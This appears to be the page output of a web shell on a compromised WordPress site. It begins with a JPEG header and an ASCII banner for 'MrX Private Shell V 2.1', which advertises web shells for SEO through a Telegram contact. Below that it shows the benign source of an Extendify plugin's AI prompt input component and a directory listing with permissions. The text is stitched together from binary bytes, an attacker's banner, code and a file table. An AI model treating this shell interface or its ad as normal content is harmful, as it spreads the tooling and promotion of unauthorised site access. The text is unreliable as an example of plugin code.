����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { DynamicTextarea } from '@draft/components/DynamicTextarea';
import { useSelectedText } from '@draft/hooks/useSelectedText';
import { magic } from '@draft/svg';
import { Spinner } from '@wordpress/components';
import { __, isRTL } from '@wordpress/i18n';
import { arrowLeft, arrowRight, Icon } from '@wordpress/icons';
import classnames from 'classnames';
export const Input = ({
inputText,
setInputText,
ready,
setReady,
setPrompt,
loading,
}) => {
const { selectedText } = useSelectedText();
const submit = (event) => {
event.preventDefault();
if (!ready || loading) return;
setInputText('');
setReady(false);
setPrompt({
text: selectedText ? selectedText : inputText,
promptType: selectedText ? 'custom-requests' : 'create',
systemMessageKey: selectedText ? 'edit' : 'generate',
// The prompt as a followup to the user's input
details: { followup: selectedText ? inputText : undefined },
});
};
return (
<form className="relative flex items-start" onSubmit={submit}>
<Icon
icon={magic}
className="absolute left-2 top-3.5 h-5 w-5 fill-current text-wp-theme-main rtl:left-auto rtl:right-2"
/>
<DynamicTextarea
disabled={loading}
placeholder={
loading
? __('AI is writing...', 'extendify-local')
: selectedText
? __('Ask AI to edit', 'extendify-local')
: __('Ask AI to generate text', 'extendify-local')
}
value={inputText}
className="h-full w-full resize-none overflow-hidden rounded-none border-transparent bg-transparent px-10 py-3 outline-hidden focus:ring-1 focus:ring-wp-theme-main"
onChange={(event) => {
setInputText(event.target.value);
setReady(event.target.value.length > 0);
}}
onKeyDown={(event) => {
if (event.key === 'Enter' && !event.shiftKey) {
event.preventDefault();
submit(event);
}
}}
/>
{loading && (
<div className="absolute right-4 top-3.5 h-4 w-4 p-1 text-gray-700 rtl:left-4 rtl:right-auto">
<Spinner style={{ margin: '0' }} />
</div>
)}
{!loading && (
<button
type="submit"
disabled={!ready}
aria-label={__('Submit', 'extendify-local')}
className={classnames(
'absolute right-2 top-3.5 border-none bg-transparent p-0 rtl:left-2 rtl:right-auto',
{
'text-gray-700 hover:text-design-main': ready,
'text-gray-500': !ready,
},
)}
>
<Icon
icon={isRTL() ? arrowLeft : arrowRight}
onClick={submit}
className="h-6 w-6 fill-current"
/>
</button>
)}
</form>
);
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| image-generation | Folder | 0755 |
|
|
| stock-images | Folder | 0755 |
|
|
| Completion.jsx | File | 616 B | 0644 |
|
| ConsentSidebar.jsx | File | 769 B | 0644 |
|
| DraftMenu.jsx | File | 1.22 KB | 0644 |
|
| DynamicTextarea.jsx | File | 2.15 KB | 0644 |
|
| EditMenu.jsx | File | 2.36 KB | 0644 |
|
| GenerateImageButtons.jsx | File | 5.47 KB | 0644 |
|
| Input.jsx | File | 2.52 KB | 0644 |
|
| InsertMenu.jsx | File | 7.46 KB | 0644 |
|
| SelectedText.jsx | File | 1.69 KB | 0644 |
|
| ToolbarMenu.jsx | File | 5.04 KB | 0644 |
|
| TranslationDropdown.jsx | File | 6.34 KB | 0644 |
|